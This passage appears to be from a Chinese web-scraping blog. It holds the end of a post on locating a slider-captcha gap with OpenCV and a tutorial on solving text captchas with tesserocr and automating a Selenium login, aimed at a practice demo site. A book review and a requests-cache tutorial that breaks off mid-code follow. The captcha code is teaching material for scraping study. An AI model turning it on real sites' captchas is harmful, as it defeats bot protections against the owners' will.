image_raw = cv2.imread('captcha.png')
image_height, image_width, _ = image_raw.shape
image_gaussian_blur = get_gaussian_blur_image(image_raw)
image_canny = get_canny_image(image_gaussian_blur)
contours = get_contours(image_canny)

原始图片我们命名为 image_raw 变量,读取图片之后获取其宽高像素信息,接着调用了 get_gaussian_blur_image 方法进行高斯滤波处理,返回结果命名为 image_gaussian_blur,接着将 image_gaussian_blur 传给 get_canny_image 方法进行边缘检测处理,返回结果命名为 image_canny,接着调用 get_contours 方法得到各个边缘的轮廓信息,赋值为 contours 变量。

好,得到各个轮廓信息之后,我们便需要根据各个轮廓的外接矩形的面积、周长、位置来筛选我们想要结果了。

所以,我们需要先确定怎么来筛选,比如面积我们可以设定一个范围,周长设定一个范围,缺口位置设定一个范围,通过实际测量,我们可以得出目标缺口的外接矩形的高度大约是验证码高度的 0.25 倍,宽度大约是验证码宽度的 0.15 倍。在允许误差 20% 的情况下,根据验证码的宽高信息我们大约可以计算出面积、周长的范围,同时缺口位置(缺口左侧)也有一个最小偏移值,比如最小偏移是验证码宽度的 0.2 倍,最大偏移是验证码宽度的 0.85 倍。综合这些内容,我们可以定义三个阈值方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_contour_area_threshold(image_width, image_height):
contour_area_min = (image_width * 0.15) * (image_height * 0.25) * 0.8
contour_area_max = (image_width * 0.15) * (image_height * 0.25) * 1.2
return contour_area_min, contour_area_max

def get_arc_length_threshold(image_width, image_height):
arc_length_min = ((image_width * 0.15) + (image_height * 0.25)) * 2 * 0.8
arc_length_max = ((image_width * 0.15) + (image_height * 0.25)) * 2 * 1.2
return arc_length_min, arc_length_max

def get_offset_threshold(image_width):
offset_min = 0.2 * image_width
offset_max = 0.85 * image_width
return offset_min, offset_max

三个方法介绍如下:

  • get_contour_area_threshold:定义目标轮廓的下限和上限面积,分别为 contour_area_min 和 contour_area_max。
  • get_arc_length_threshold:定义目标轮廓的下限和上限周长,分别为 arc_length_min 和 arc_length_max。
  • get_offset_threshold:定义目标轮廓左侧的下限和上限偏移量,分别为 offset_min 和 offset_max。

最后我们只需要遍历各个轮廓信息,根据上述限定条件进行筛选,最后得出目标轮廓信息即可,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
contour_area_min, contour_area_max = get_contour_area_threshold(image_width, image_height)
arc_length_min, arc_length_max = get_arc_length_threshold(image_width, image_height)
offset_min, offset_max = get_offset_threshold(image_width)
offset = None
for contour in contours:
x, y, w, h = cv2.boundingRect(contour)
if contour_area_min < cv2.contourArea(contour) < contour_area_max and \
arc_length_min < cv2.arcLength(contour, True) < arc_length_max and \
offset_min < x < offset_max:
cv2.rectangle(image_raw, (x, y), (x + w, y + h), (0, 0, 255), 2)
offset = x
cv2.imwrite('image_label.png', image_raw)
print('offset', offset)

这里我们首先调用了 get_contour_area_threshold、get_arc_length_threshold、get_offset_threshold 方法获取了轮廓的判定阈值,然后遍历了 contours 根据这些阈值进行了筛选,最终得到的外接矩形的 x 值就是目标缺口的偏移量。

同时目标缺口的外接矩形我们也调用了 rectangle 方法进行了标注,最终将其保存为 image_label.png 图像。

最终运行结果如下:

1
offset 163

同时得到输出的 image_label.png 文件如下:

image_label

这样我们就成功提取出来了目标滑块的位置了,本节的问题得以解决。

注意:出于安全考虑,本书只针对于第一步 - 识别验证码缺口位置的的技术问题进行讲解,关于怎样去模拟滑动或者绕过验证码,本书不再进行介绍,可以自行搜索相关资料探索。

6. 总结

本节我们介绍了利用 OpenCV 来识别滑动验证码缺口的方法,其中涉及到了一些关键的图像处理和识别技术,如高斯模糊、边缘检测、轮廓提取等算法。了解了基本的图像识别技术后,我们可以举一反三,将其应用到其他类型的工作上,也会很有帮助。

本节代码:https://github.com/Python3WebSpider/CrackSlideCaptcha/tree/cv,注意这里是 cv 分支。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

各类网站采用了各种各样的措施来反爬虫,其中一个措施便是使用验证码。随着技术的发展,验证码的花样越来越多。验证码最初是几个数字组合的简单的图形,后来加入了英文字母和混淆曲线。还有一些网站使用了中文字符验证码,这使得识别愈发困难。

12306 验证码的出现使得行为验证码开始发展起来,用过 12306 的用户肯定多少为它的验证码头疼过,我们需要识别文字,点击与文字描述相符的图片,验证码完全正确,验证才能通过。随着技术的发展,现在这种交互式验证码越来越多,如滑动验证码需要将对应的滑块拖动到指定位置才能完成验证,点选验证码则需要点击正确的图形或文字才能通过验证。

验证码变得越来越复杂,爬虫的工作也变得越发艰难,有时候我们必须通过验证码的验证才可以访问页面。

本章就针对验证码的识别进行统一讲解,涉及的验证码有普通图形验证码、滑动验证码、点选验证码、手机验证码等,这些验证码识别的方式和思路各有不同,有直接使用图像处理库完成的,有的则是借助于深度学习技术完成的,有的则是借助于一些工具和平台完成的。虽然说技术各有不同,但了解这些验证码的识别方式之后,我们可以举一反三,用类似的方法识别其他类型验证码。

我们首先来看最简单的一种验证码,即图形验证码,这种验证码最早出现,现在依然也很常见,一般由 4 位左右字母或者数字组成。

例如这个案例网站 https://captcha7.scrape.center/ 就可以看到类似的验证码,如图所示:

这类验证码整体上比较规整,没有过多干扰线和干扰点,且文字没有大幅度的变形和旋转。

对于这一类的验证码我们就可以使用 OCR 技术来进行识别。

1. OCR 技术

OCR,即 Optical Character Recognition,中文翻译叫做光学字符识别。它是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程。OCR 现在已经广泛应用于生产生活中,如文档识别、证件识别、字幕识别、文档检索等等。当然对于本节所述的图形验证码的识别也没有问题。

本节我们会以当前示例网站的验证码为例来讲解利用 OCR 来识别图形验证码的流程,输入上是一上图验证码的图片,输出就是验证码识别结果。

2. 准备工作

识别图形验证码需要 Tesserocr 库,本库的安装相对没有那么简单,可以参考 https://setup.scrape.center/tesserocr

另外在本节学习过程中还需要安装 Selenium、Pillow、Numpy,Retrying 库用作模拟登录、图像处理和操作重试,我们可以使用 pip3 来进行安装:

1
pip3 install selenium pillow numpy retrying

如果某个库安装有问题,可以参考如下链接:

  • Selenium:https://setup.scrape.center/selenium
  • Pillow:https://setup.scrape.center/pillow
  • Numpy:https://setup.scrape.center/numpy
  • retrying:https://setup.scrape.center/retrying

安装好了如上库之后,我们就可以开始本节的学习了。

3. 获取验证码

为了便于实验,我们先将验证码的图片保存到本地。

我们可以在浏览器中打开上述示例网站,然后右键点击这张验证码图片,将其保存到本地,命名为 captcha.png,示例如图所示:

这样我们就可以得到一张验证码图片,以供测试识别使用。

4. 识别测试

接下来新建一个项目,将验证码图片放到项目根目录下,用 tesserocr 库识别该验证码,代码如下所示:

1
2
3
4
5
6
import tesserocr
from PIL import Image

image = Image.open('captcha.png')
result = tesserocr.image_to_text(image)
print(result)

在这里我们新建了一个 Image 对象,调用了 tesserocr 的 image_to_text方法。传入该 Image 对象即可完成识别,实现过程非常简单,结果如下所示:

1
d241

另外,tesserocr 还有一个更加简单的方法,这个方法可直接将图片文件转为字符串,代码如下所示:

1
2
import tesserocr
print(tesserocr.file_to_text('captcha.png'))

可以得到同样的输出结果。

这时候我们可以看到,通过 OCR 技术我们便可以成功识别出验证码的内容了。

5. 验证码处理

接下来我们换一个验证码,将其命名为 captcha2.png,如图所示。

重新用下面的代码来测试:

1
2
3
4
5
6
import tesserocr
from PIL import Image

image = Image.open('captcha2.png')
result = tesserocr.image_to_text(image)
print(result)

可以看到如下输出结果:

1
-b32d

这次识别和实际结果有偏差,多了一些干扰结果,这是因为验证码内的多余的点干扰了图像的识别,导致出现了一些多余的内容。

对于这种情况,我们可以需要做一下额外的处理,把一些干扰信息去掉。

这里观察到图片里面其实有一些杂乱的点,而这些点的颜色大都比文本更浅一点,因此我们可以做一些预处理,将干扰的点通过颜色来排除掉。

我们可以首先将原来的图像转化为数组看下维度:

1
2
3
4
5
6
7
import tesserocr
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
print(np.array(image).shape)
print(image.mode)

运行结果如下:

1
2
(38, 112, 4)
RGBA

可以发现这个图片其实是一个三维数组,前两维 38 和 112 代表其高和宽,最后一维 4 则是每个像素点的表示向量。为什么是 4 呢,因为最后一维是一个长度为 4 的数组,分别代表 R(红色)、G(绿色)、B(蓝色)、A(透明度),即一个像素点有四个数字表示。那为什么是 RGBA 四个数字而不是 RGB 或其他呢?这是因为 image 的模式 mode 是 RGBA,即有透明通道的真彩色,我们看到第二行输出也印证了这一点。

模式 mode 定义了图像的类型和像素的位宽,一共有 9 种类型:

  • 1:像素用 1 位表示,Python 中表示为 True 或 False,即二值化。
  • L:像素用 8 位表示,取值 0-255,表示灰度图像,数字越小,颜色越黑。
  • P:像素用 8 位表示,即调色板数据。
  • RGB:像素用 3x8 位表示,即真彩色。
  • RGBA:像素用 4x8 位表示,即有透明通道的真彩色。
  • CMYK:像素用 4x8 位表示,即印刷四色模式。
  • YCbCr:像素用 3x8 位表示,即彩色视频格式。
  • I:像素用 32 位整型表示。
  • F:像素用 32 位浮点型表示。

为了方便处理,我们可以将 RGBA 模式转为更简单的 L 模式,即灰度图像。

我们可以利用 Image 对象的 convert 方法参数传入 L,即可将图片转化为灰度图像,代码如下所示:

1
2
image = image.convert('L')
image.show()

或者传入 1 即可将图片进行二值化处理,如下所示:

1
2
image = image.convert('1')
image.show()

在这里我们就转为灰度图像,然后根据阈值筛选掉图片中的干扰点,代码如下:

1
2
3
4
5
6
7
8
9
10
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
image = image.convert('L')
threshold = 50
array = np.array(image)
array = np.where(array > threshold, 255, 0)
image = Image.fromarray(array.astype('uint8'))
image.show()

在这里,变量 threshold 代表灰度的阈值,这里设置为 50。接着我们将图片 image 转化为了 Numpy 数组,接着利用 Numpy 的 where 方法对数组进行筛选和处理,这里指定了大于阈值的就设置为 255,即白色,否则就是 0,即黑色。

最后看下图片处理完之后是什么结果:

我们发现原来验证码中的很多点已经被去掉了,整个验证码变得黑白分明。这时重新识别验证码,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
import tesserocr
from PIL import Image
import numpy as np

image = Image.open('captcha2.png')
image = image.convert('L')
threshold = 50
array = np.array(image)
array = np.where(array > threshold, 255, 0)
image = Image.fromarray(array.astype('uint8'))
print(tesserocr.image_to_text(image))

即可发现运行结果变成如下所示:

1
b32d

所以,针对一些有干扰的图片,我们可以做一些去噪处理,这会提高图片识别的正确率。

6. 识别实战

最后,我们可以来尝试下用自动化的方式来对案例进行验证码识别处理,这里我们使用 Selenium 来完成这个操作,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import time
import re
import tesserocr
from selenium import webdriver
from io import BytesIO
from PIL import Image
from retrying import retry
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.common.exceptions import TimeoutException
import numpy as np


def preprocess(image):
image = image.convert('L')
array = np.array(image)
array = np.where(array > 50, 255, 0)
image = Image.fromarray(array.astype('uint8'))
return image


@retry(stop_max_attempt_number=10, retry_on_result=lambda x: x is False)
def login():
browser.get('https://captcha7.scrape.center/')
browser.find_element_by_css_selector('.username input[type="text"]').send_keys('admin')
browser.find_element_by_css_selector('.password input[type="password"]').send_keys('admin')
captcha = browser.find_element_by_css_selector('#captcha')
image = Image.open(BytesIO(captcha.screenshot_as_png))
image = preprocess(image)
captcha = tesserocr.image_to_text(image)
captcha = re.sub('[^A-Za-z0-9]', '', captcha)
browser.find_element_by_css_selector('.captcha input[type="text"]').send_keys(captcha)
browser.find_element_by_css_selector('.login').click()
try:
WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.XPATH, '//h2[contains(., "登录成功")]')))
time.sleep(10)
browser.close()
return True
except TimeoutException:
return False


if __name__ == '__main__':
browser = webdriver.Chrome()
login()

在这里我们首先定义了一个 preprocess 方法,用于验证码的噪声处理,逻辑就和前面说的是一样的。

接着我们定义了一个 login 方法,其逻辑执行步骤是:

  • 打开样例网站
  • 找到用户名输入框,输入用户名
  • 找到密码输入框,输入密码
  • 找到验证码图片并截取,转化为 Image 对象
  • 预处理验证码,去除噪声
  • 对验证码进行识别,得到识别结果
  • 识别结果去除一些非字母和数字字符
  • 找到验证码输入框,输入验证码结果
  • 点击登录按钮
  • 等待「登录成功」字样的出现,如果出现则证明登录成功,否则重复以上步骤重试。

在这里我们还用到了 retrying 来指定了重试条件和重试次数,以保证在识别出错的情况下反复重试,增加总的成功概率。

运行代码我们可以观察到浏览器弹出并执行以上流程,可能重试几次后得到登录成功的页面,运行过程如图所示:

登录成功后的结果如图所示:

到这里,我们就能成功通过 OCR 技术识别成功验证码,并将其应用到模拟登录的过程中了。

7. 总结

本节我们了解了利用 Tesserocr 识别验证码的过程并将其应用于实战案例中实现了模拟登录。为了提高 Tesserocr 的识别准确率,我们可以对验证码图像进行预处理去除一些干扰,识别准确率会大大提高。但总归来说 Tesserocr 识别验证码的准确率并不是很高,下一节我们来介绍其他识别验证码的方案。

本节代码:https://github.com/Python3WebSpider/CrackImageCaptcha

本文参考资料:

  • 文档 - OCR - 百度百科:https://baike.baidu.com/item/OCR

个人随笔

这篇文章其实是我对一本书《你当像鸟飞往你的山》的读后感。

你可能在逛书店的时候看到过这本书,因为这本书一直占据畅销书的前几名,也曾作为比尔盖茨年度荐书 第一名和比尔盖茨年度荐书第一名畅销世界。

说起来这本书,真的我从开始读到完全读完花了大半年的时间,我其实对阅读这样的“长篇”记述性的书读起来并不怎么在行,一直断断续续在读,也一直断断续续在领悟这本书传达给我的深意,于是最后,这篇文章就诞生了。

本书的作者叫塔拉·韦斯特弗,在 1986 年生于美国爱达荷州,在她 17 岁之前从来没有上过学,一直在大山里和父母、哥哥姐姐们生活在肥料厂,但她通过自身的努力考上了大学,进而取得了剑桥大学的博士学位。一开始我看这本书的宣传和介绍以为就是一本讲差生克服种种困难逆袭变身学霸的故事,但是读了之后才发现,整本书的重点并不在描写自己多么刻苦学习,描写的是自己的整个成长和转变历程,是一个有创伤、成长和最终蜕变的故事,讲述的是作者如何冲破原生家庭的重重阻碍、如何和自己心理作斗争和抉择、如何寻找到真正自我的故事。

这本书的中文名叫《你当像鸟飞往你的山》,但英文就叫《Educated》,看起来毫不相关,一开始我非常诧异这俩名字到底有啥联系,然而读了之后,我才发现二者联系还是很密切的。Educated 意思就是教育,这是本书的核心关键词,作者通过教育救赎了自己,通过不断地教育,完成了自我的成长和蜕变。而《你当像鸟飞往你的山》其实就是在教育之上的两层含义,包括逃离和追寻真正的自我。

作者塔拉出生在一个非常让我难以想象的家庭之中,在一座大山里,父亲是摩门教的忠实信徒,同时性格比较抑郁狂躁,他不相信政府、学校、医院等任何组织,同时也在塔拉小的时候向她灌输类似的理念。而且父亲觉得世界末日终有一天会到来的,所以他还在自家的地窖中存储各种食物、罐头、汽油等等物资,母亲则是基本依附于父亲的,整体的家庭就是“男尊女卑”。塔拉一共有五个哥哥和一个姐姐,父亲会让自己的各个儿子女儿去废料厂搬运和整理各种废弃物、钢铁赚钱。没错,十几年来,塔拉就是这么过来的。其实我们就想象成,在一个偏远的大山里面,塔拉整个家庭生活条件困苦,从小没有上过学,和几个哥哥姐姐、父亲去拣拾废料为生,同时期间也受父母灌输的思想教育而成长。我们想想,假如真的有这么一个人,可能她的一生就在这样的节奏下慢慢过去了,从出生到死亡,伴随着自己生活的就是一堆废铜烂铁,生活一眼望得到头。

在这样阴暗的生活条件下,会有一束光吗?有的,她的哥哥泰勒就是那一束光,是他引领塔拉走向了教育的大门。

在本书的扉页印着四个字,“献给泰勒”,所以在阅读之初我就比较诧异,这个泰勒是何许人也?所以在阅读的时候我就去留意泰勒这个人物。真的,可以说,没有泰勒,塔拉的生活可能就如同前面所说的那样,在大山里面终其她的一生了。

泰勒是个比较内向的孩子,还容易紧张,还天生口吃,他唯一的朋友可能就是唱片和书籍。在塔拉年少的时候,泰勒带塔拉了解了唱片、书籍等东西,同时泰勒还通过自学考取了杨百翰大学。泰勒曾经对塔拉说过:“你可以选择像现在生活,也可以选择像我一样,考进杨百翰大学。”塔拉后来选择了后者,在和父亲一起打工的日子里,塔拉找书自学,终于她成功考取了杨百翰大学。后来,她凭借自己的努力和天赋,后来又获得了剑桥大学的博士学位,完成了自己的蜕变。

但这个过程是非常艰难的,尤其是她从小接受了原生家庭这样的启蒙,迈出这一步对她来说何其艰难。塔拉的蜕变和成长历经了各种反复挣扎和思想斗争,也承受了难以想象的艰辛。

在我理解,难点可能有这么两点:

  • 塔拉从小就没有接受过什么教育,家里也很难给到什么支持,她的学习条件很差,考取大学之前都得挤时间来学习。考上大学之后基础也肯定不好,跟上同龄人甚至超越同龄人需要付出常人难以想象的努力。
  • 从小塔拉就在大山里面成长,她从小的思想就被父母灌输,原生家庭的影响是巨大的。很多很多人可能在这样的环境下就妥协了,放弃挣扎了,逃离这样的生活需要面临巨大的阻力,不仅来自于家庭的阻拦,更多的是冲破自身的思想禁锢,能思考到自己究竟想要什么。

是的,塔拉最终做到了。她很努力,当然也很聪慧,同时也有不少贵人相助。比如她的老师给她思想上的引导,帮她申请助学金,推荐上剑桥大学等等。这几点我觉得真的都是缺一不可。我们可以说她运气不错,但是少了她自身的努力和拼搏,再多的聪慧和贵人相助都是白搭。

塔拉在蜕变和成长的过程中学了很多哲学、历史等书籍的熏陶,在学习过程中,她了解到了一些思想上的差异和碰撞,比如即使是史学家也可能由于认知局限而产生错误的观点。所以,她也慢慢思考到,父亲从小对自己灌输的观点也未必是正确的。在不断学习和教育的过程中,塔拉的认知被提高,不断更新自己的挂念,不断重塑自己的思想,最终蜕变并成长成了更好的自我。

但不得不提的是,塔拉最终逃离大山,最终也付出了和家庭分离甚至说决裂的代价。后来她和她的父母、在大山的哥哥们几乎没有了联系。多年之后,塔拉试图回到大山和家庭和解,但是最终也没有看到团圆的结局,毕竟真的没法回去了。但塔拉为什么选择去尝试和解呢?或许还是出于爱吧。其实塔拉的父母还是爱塔拉的,有一个画面我印象非常深刻,在父亲得知她要去大洋彼岸的剑桥大学读书的时候,父亲对塔拉说:“无论你在哪个角落,我们都可以去找你。我在地下埋了一千加仑汽油,世界末日来临时我可以去接你,带你回家,让你平平安安的,但要是你去了大洋彼岸…”。是的,父亲是爱她的,但爱并不能让她放弃自己的人生。

塔拉说:“你可以爱一个人,但仍然选择和他说再见;你可以每天都想念一个人,但仍然庆幸他已不在你的生命中…”。

嗯,写到这里,我又理解到了什么。

是的,或许总有一些人即使互相深爱着彼此,但如果二者无法达成观念上的一致,无法真正理解对方的话,最好的结局或许就是分开吧。在这里我说的是塔拉的家庭的理解,但也可以扩展到其他的地方。

嗯,最近我也在看阿德勒心理学,像《被讨厌的勇气》,阿德勒有这样的一句话:“幸福的人用童年治愈一生,不幸的人用一生治愈童年。”原生家庭的影响对一个人真的是巨大的,这个影响可能需要用一生来弥补和改变。

但是,这本书告诉我们,生活在不幸的家庭,将来就一定会不幸吗?未必的。塔拉面临这样的家庭,面临这样的逆境,她最终成功了,一般情况下,我们面临的困难可能比塔拉小多了,塔拉可以,我们其实也可以。但这个蜕变的过程中,什么才是最重要的呢?是自己强大的内心,只有内心的强大的力量才能促成这种改变。

我想进一步展开升华下主旨。

反过来映射一下,对于我们的家庭来说。可能从小父母就说过:“我这么做是为了你好”,年少的时候,我们很多事都是听父母的,小时候的很多的选择一直到长大,读中学、上大学、选专业、就业、结婚、生子仿佛很多事情都很多受到父母的引导、操控,甚至我们自己就主动变得事事都去听父母的,甚至习以为常,甚至都觉得不应该去反抗,以为这些都是理所当然。但想想,真的是对的吗?

另外试想,如果说这一生,我们就是在这样就业、赚钱、结婚、生子、抚养孩子,终老一生,这是我们想要的吗?你心甘情愿自己的一生就这么过去吗?不想着去经历些什么吗?你小时候的梦想还在吗?多问问自己,真的是这样的吗?我们一直追逐的金钱、地位,到头来真的是最重要的吗?我们从小到老,承担着的这些角色,这些生活,真的是自己想要的吗?如果你的确想清楚了,这就是你想要的,或者和父母的设想完全一致,那可以,勇敢去做。如果答案是否,那或许要想想,是否要做出一些改变?

嗯,我还想说的是,父母不应该以爱之名去操控孩子的成长,可以给予帮助,但不能决定孩子的未来。反过来,孩子也是一样,不能以自己以为的正确去改变父母。

每个人,注定地只能去自我探寻自我、自我选择、自我教育、自我塑造。

走大家都觉得“正确”的事情很难,改变也可能很难,想清楚,每一种方式都会有牺牲,每个改变都可能带来不一样的生活。

每个人的生命其实都是一种自我救赎,有时虽然孤独,但是充满力量,遵从自己的内心,想想自己真正想要什么,想想自己想变成怎样的人。如果现在没有答案,那多去看看,多去思考思考。

希望你和我,都能有一个无悔的人生。

你当像鸟,飞往你的山。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

在做爬虫的时候,我们往往可能这些情况:

  • 网站比较复杂,会碰到很多重复请求。
  • 有时候爬虫意外中断了,但我们没有保存爬取状态,再次运行就需要重新爬取。

还有诸如此类的问题。

那怎么解决这些重复爬取的问题呢?大家很可能都想到了“缓存”,也就是说,爬取过一遍就直接跳过爬取。

那一般怎么做呢?

比如我写一个逻辑,把已经爬取过的 URL 保存到文件或者数据库里面,每次爬取之前检查一下是不是在列表或数据库里面就好了。

是的,这个思路没问题,但有没有想过这些问题:

  • 写入到文件或者数据库可能是永久性的,如果我想控制缓存的有效时间,那就还得有个过期时间控制。
  • 这个缓存根据什么来判断?如果仅仅是 URL 本身够吗?还有 Request Method、Request Headers 呢,如果它们不一样了,那还要不要用缓存?
  • 如果我们有好多项目,难道都没有一个通用的解决方案吗?

的确是些问题,实现起来确实要考虑很多问题。

不过不用担心,今天给大家介绍一个神器,可以帮助我们通通解决如上的问题。

介绍

它就是 requests-cache,是 requests 库的一个扩展包,利用它我们可以非常方便地实现请求的缓存,直接得到对应的爬取结果。

  • GitHub:https://github.com/reclosedev/requests-cache
  • PyPi:https://pypi.org/project/requests-cache/
  • 官方文档:https://requests-cache.readthedocs.io/en/stable/index.html

下面我们来介绍下它的使用。

安装

安装非常简单,使用 pip3 即可:

1
pip3 install requests-cache

安装完毕之后我们来了解下它的基本用法。

基本用法

下面我们首先来看一个基础实例:

1
2
3
4
5
6
7
8
9
10
import requests
import time

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们请求了一个网站,是 http://httpbin.org/delay/1,这个网站模拟了一秒延迟,也就是请求之后它会在 1 秒之后才会返回响应。

这里请求了 10 次,那就至少得需要 10 秒才能完全运行完毕。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 13.17966604232788

可以看到,这里一共用了13 秒。

那如果我们用上 requests-cache 呢?结果会怎样?

代码改写如下:

1
2
3
4
5
6
7
8
9
10
11
import requests_cache
import time

start = time.time()
session = requests_cache.CachedSession('demo_cache')

for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们声明了一个 CachedSession,将原本的 Session 对象进行了替换,还是请求了 10 次。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 1.6248838901519775

可以看到,一秒多就爬取完毕了!

发生了什么?

这时候我们可以发现,在本地生成了一个 demo_cache.sqlite 的数据库。

我们打开之后可以发现里面有个 responses 表,里面多了一个 key-value 记录,如图所示:

我们可以可以看到,这个 key-value 记录中的 key 是一个 hash 值,value 是一个 Blob 对象,里面的内容就是 Response 的结果。

可以猜到,每次请求都会有一个对应的 key 生成,然后 requests-cache 把对应的结果存储到了 SQLite 数据库中了,后续的请求和第一次请求的 URL 是一样的,经过一些计算它们的 key 也都是一样的,所以后续 2-10 请求就立马返回了。

是的,利用这个机制,我们就可以跳过很多重复请求了,大大节省爬取时间。

Patch 写法

但是,刚才我们在写的时候把 requests 的 session 对象直接替换了。有没有别的写法呢?比如我不影响当前代码,只在代码前面加几行初始化代码就完成 requests-cache 的配置呢?

当然是可以的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache')

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这次我们直接调用了 requests-cache 库的 install_cache 方法就好了,其他的 requests 的 Session 照常使用即可。

我们再运行一遍:

1
2
3
4
5
6
7
8
9
10
11
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time 0.018644094467163086

这次比上次更快了,为什么呢?因为这次所有的请求都命中了 Cache,所以很快返回了结果。

后端配置

刚才我们知道了,requests-cache 默认使用了 SQLite 作为缓存对象,那这个能不能换啊?比如用文件,或者其他的数据库呢?

自然是可以的。

比如我们可以把后端换成本地文件,那可以这么做:

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache', backend='filesystem')

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time', end - start)

这里我们添加了一个 backend 参数,然后指定为 filesystem,这样运行之后本地就会生成一个 demo_cache 的文件夹用作缓存,如果不想用缓存的话把这个文件夹删了就好了。

当然我们还可以更改缓存文件夹的位置,比如:

1
requests_cache.install_cache('demo_cache', backend='filesystem', use_temp=True)

这里添加一个 use_temp 参数,缓存文件夹便会使用系统的临时目录,而不会在代码区创建缓存文件夹。

当然也可以这样:

1
requests_cache.install_cache('demo_cache', backend='filesystem', use_cache_dir=True)

这里添加一个 use_cache_dir 参数,缓存文件夹便会使用系统的专用缓存文件夹,而不会在代码区创建缓存文件夹。

另外除了文件系统,requests-cache 也支持其他的后端,比如 Redis、MongoDB、GridFS 甚至内存,但也需要对应的依赖库支持,具体可以参见下表:

Backend Class Alias Dependencies
SQLite SQLiteCache 'sqlite'
Redis RedisCache 'redis' redis-py
MongoDB MongoCache 'mongodb' pymongo
GridFS GridFSCache 'gridfs' pymongo
DynamoDB DynamoDbCache 'dynamodb' boto3
Filesystem FileCache 'filesystem'
Memory BaseCache 'memory'

比如使用 Redis 就可以改写如下:

1
2
backend = requests_cache.RedisCache(host='localhost', port=6379)
requests_cache.install_cache('demo_cache', backend=backend)

更多详细配置可以参考官方文档:https://requests-cache.readthedocs.io/en/stable/user_guide/backends.html#backends

Filter

当然,我们有时候也想指定有些请求不缓存,比如只缓存 POST 请求,不缓存 GET 请求,那可以这样来配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache2', allowable_methods=['POST'])

start = time.time()
session = requests.Session()
for i in range(10):
session.get('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for get', end - start)
start = time.time()

for i in range(10):
session.post('http://httpbin.org/delay/1')
print(f'Finished {i + 1} requests')
end = time.time()
print('Cost time for post', end - start)

这里我们添加了一个 allowable_methods 指定了一个过滤器,只有 POST 请求会被缓存,GET 请求就不会。

看下运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time for get 12.916549682617188
Finished 1 requests
Finished 2 requests
Finished 3 requests
Finished 4 requests
Finished 5 requests
Finished 6 requests
Finished 7 requests
Finished 8 requests
Finished 9 requests
Finished 10 requests
Cost time for post 1.2473630905151367

这时候就看到 GET 请求由于没有缓存,就花了 12 多秒才结束,而 POST 由于使用了缓存,一秒多就结束了。

另外我们还可以针对 Response Status Code 进行过滤,比如只有 200 会缓存,则可以这样写:

1
2
3
4
5
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache2', allowable_codes=(200,))

当然我们还可以匹配 URL,比如针对哪种 Pattern 的 URL 缓存多久,则可以这样写:

1
2
3
urls_expire_after = {'*.site_1.com': 30, 'site_2.com/static': -1}
requests_cache.install_cache(
'demo_cache2', urls_expire_after=urls_expire_after)

这样的话,site_1.com 的内容就会缓存 30 秒,site_2.com/static 的内容就永远不会过期。

当然,我们也可以自定义 Filter,具体可以参见:https://requests-cache.readthedocs.io/en/stable/user_guide/filtering.html#custom-cache-filtering

Cache Headers

除了我们自定义缓存,requests-cache 还支持解析 HTTP Request / Response Headers 并根据 Headers 的内容来缓存。

比如说,我们知道 HTTP 里面有个 Cache-Control 的 Request / Response Header,它可以指定浏览器要不要对本次请求进行缓存,那 requests-cache 怎么来支持呢?

实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import time
import requests
import requests_cache

requests_cache.install_cache('demo_cache3')

start = time.time()
session = requests.Session()
for i in range(10):
